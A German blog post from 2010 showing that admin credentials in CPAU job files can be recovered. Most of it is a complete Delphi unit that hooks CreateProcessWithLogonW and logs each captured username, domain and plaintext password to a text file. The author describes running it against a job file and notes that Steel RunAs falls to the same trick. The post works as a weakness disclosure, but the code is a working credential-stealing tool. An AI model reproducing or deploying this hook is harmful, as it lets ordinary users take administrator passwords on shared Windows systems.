CPAU die Logindaten unter dem Arsch weg klauen

27.09.2010 yahe

Ich finde es ja immer wieder interessant, wenn Hannes Schurig (@SchurigH) erklärt, wie ihm das Tool CPAU hilft, seine Administratorenaufgaben zu erledigen.

Besonders spannend finde ich es, wenn er erklärt, wie es damit möglich ist, dem einfachen Nutzer Administratorenrechte zu geben, um eine Anwendung auszuführen, ohne, dass der Nutzer die eigentlichen Logindaten erfährt. Möglich ist das bei dem Programm dadurch, dass man sogenannte Job-Dateien erstellt, in denen der auszuführende Befehl inklusive der Accountdaten des Administrators verschlüsselt abgelegt wird. Letztens hat Hannes damit sogar ein Script gebaut, mit dem von einem Netzlaufwerk Programminstallationen ausgeführt werden können - natürlich wieder geschützt durch die Job-Dateien von CPAU.

Mich hat vor allem die sichere Verwahrung der Accountdaten fasziniert, denn wenn man sich das Tool genauer ansieht, erkennt man, dass für die Verschlüsselung der Job-Dateien gar kein Passwort angegeben werden muss. Ich dachte mir "Es müsste doch möglich sein, diese Job-Dateien auch wieder zu entschlüsseln." - aber um ehrlich zu sein, war ich heute irgendwie viel zu faul dafür. Denn bei einem kleinen Test fiel mir auf, wie CPAU die auszuführenden Programme startet: das Zauberwort heißt "CreateProcessWithLogonW". Dass diese Erkenntnis korrekt war, konnte ich dann sogar noch einmal im Blog des Entwicklers von CPAU nachlesen.

Um nun an die Logindaten in so einer Job-Datei zu kommen, ist nun gar nicht mehr so viel unbekanntes Wissen nötig. Das meiste, was man dazu braucht, habe ich schon mal in meinem Artikel über die uallCollection erwähnt. Wenn man sich die Beschreibung der Funktion CreateProcessWithLogonW in der MSDN-Bibliothek angeguckt hat, hat man gesehen, dass dort auch die Werte Username, Domain und Password mitgegeben werden müssen. Durch das Hooken dieser einen API-Funktion kann man diese Informationen also alle auf einen Schlag abgreifen.

unit CPAU;

interface

procedure HookCPAU(const ATargetPath : String);
procedure UnhookCPAU;

implementation

uses
  Windows,
  uallHook,
  SysUtils,
  DateUtils,
  ConstU;

type
  LPBYTE = PBYTE;

  TStartupInfoW = record
    cb              : DWORD;
    lpReserved      : LPWSTR;
    lpDesktop       : LPWSTR;
    lpTitle         : LPWSTR;
    dwX             : DWORD;
    dwY             : DWORD;
    dwXSize         : DWORD;
    dwYSize         : DWORD;
    dwXCountChars   : DWORD;
    dwYCountChars   : DWORD;
    dwFillAttribute : DWORD;
    dwFlags         : DWORD;
    wShowWindow     : WORD;
    cbReserved2     : WORD;
    lpReserved2     : LPBYTE;
    hStdInput       : THANDLE;
    hStdOutput      : THANDLE;
    hStdError       : THANDLE;
  end;
  PStartupInfoW = ^TStartupInfoW;

var
  VCPAULib    : HModule = 0;
  VTargetPath : String  = '';

  VNewCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  VOldCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;

function CatchCreateProcessWithLogonW(lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                      lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                      lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                      lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  function FillZero(const AValue : Word; const ALength : Byte) : String;
  begin
    Result := IntToStr(AValue);
    while (Length(Result) < ALength) do
      Result := '0' + Result;
  end;
var
  LDay       : Word;
  LFile      : TextFile;
  LHour      : Word;
  LMinute    : Word;
  LMonth     : Word;
  LMSecond   : Word;
  LSecond    : Word;
  LTimeValue : String;
  LYear      : Word;
begin
  Result := VNewCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags,
                                        lpApplicationName, lpCommandLine, dwCreationFlags,
                                        lpEnvironment, lpCurrentDirectory, lpStartupInfo,
                                        lpProcessInfo);

  DecodeDateTime(Now, LYear, LMonth, LDay, LHour, LMinute, LSecond, LMSecond);
  LTimeValue := FillZero(LYear, 4) + FillZero(LMonth, 2) + FillZero(LDay, 2) + '_' +
                FillZero(LHour, 2) + FillZero(LMinute, 2) + FillZero(LSecond, 2) + FillZero(LMSecond, 2);

  AssignFile(LFile, VTargetPath + LTimeValue + '.log');
  Rewrite(LFile);
  try
    WriteLn(LFile, 'Username   : ', String(lpUsername));
    WriteLn(LFile, 'Domain     : ', String(lpDomain));
    WriteLn(LFile, 'Password   : ', String(lpPassword));
    WriteLn(LFile, 'Application: ', String(lpApplicationName));
    WriteLn(LFile, 'CommandLine: ', String(lpCommandLine));
    WriteLn(LFile, 'CurrentDir : ', String(lpCurrentDirectory));
    WriteLn(LFile, 'Success    : ', Result);
  finally
    CloseFile(LFile);
  end;
end;

procedure HookCPAU(const ATargetPath : String);
begin
  VCPAULib := GetModuleHandle(ADVAPI32);
  if (VCPAULib <> 0) then
  begin
    VTargetPath := ATargetPath;

    @VOldCreateProcessWithLogonW := GetProcAddress(VCPAULib, 'CreateProcessWithLogonW');
    HookCode(@VOldCreateProcessWithLogonW, @CatchCreateProcessWithLogonW, @VNewCreateProcessWithLogonW);
  end;
end;

procedure UnhookCPAU;
begin
  if (VCPAULib <> 0) then
  begin
    VCPAULib := 0;

    UnhookCode(@VNewCreateProcessWithLogonW);
  end;
end;

end.

In meiner kleinen Testanwendung speichere ich die interessanten Informationen einfach jeweils in einer separaten Textdatei ab. Um nun an die Daten in so einer Job-Datei zu kommen, muss man einfach nur meine Testanwendung konfigurieren, diese starten und dann mit CPAU versuchen, die Job-Datei auszuführen, aus der man gerne die Accountdaten wissen möchte.

Lustig finde ich in diesem Zusammenhang, dass das Tool Steel RunAs genau das gleiche Problem hat, wie CPAU. Mit demselben Trick lassen sich auch dessen Credentials klauen. Besonders lustig ist das deshalb, da die Entwicklerfirma aktiv für die sichere Aufbewahrung der Logindaten wirbt: "Psuedo Random seed and RC4 encryption of the credentials stored inside the RunAs executable. Enhanced safety of credentials.".

An diesem Beispiel sieht man mal wieder sehr schön, dass die Verschlüsselung nicht zwangsläufig das schwächste Glied der Kette sein muss.

Cheers, Yahe


Search

[2018-08-16T07:52:28+02:00] _logResourceUsage(): Current execution time: 0.018260955810547 sec [2018-08-16T07:52:28+02:00] _logResourceUsage(): Current memory usage: 1.7011032104492 MB [2018-08-16T07:52:28+02:00] _logResourceUsage(): Peak memory usage: 1.8752746582031 MB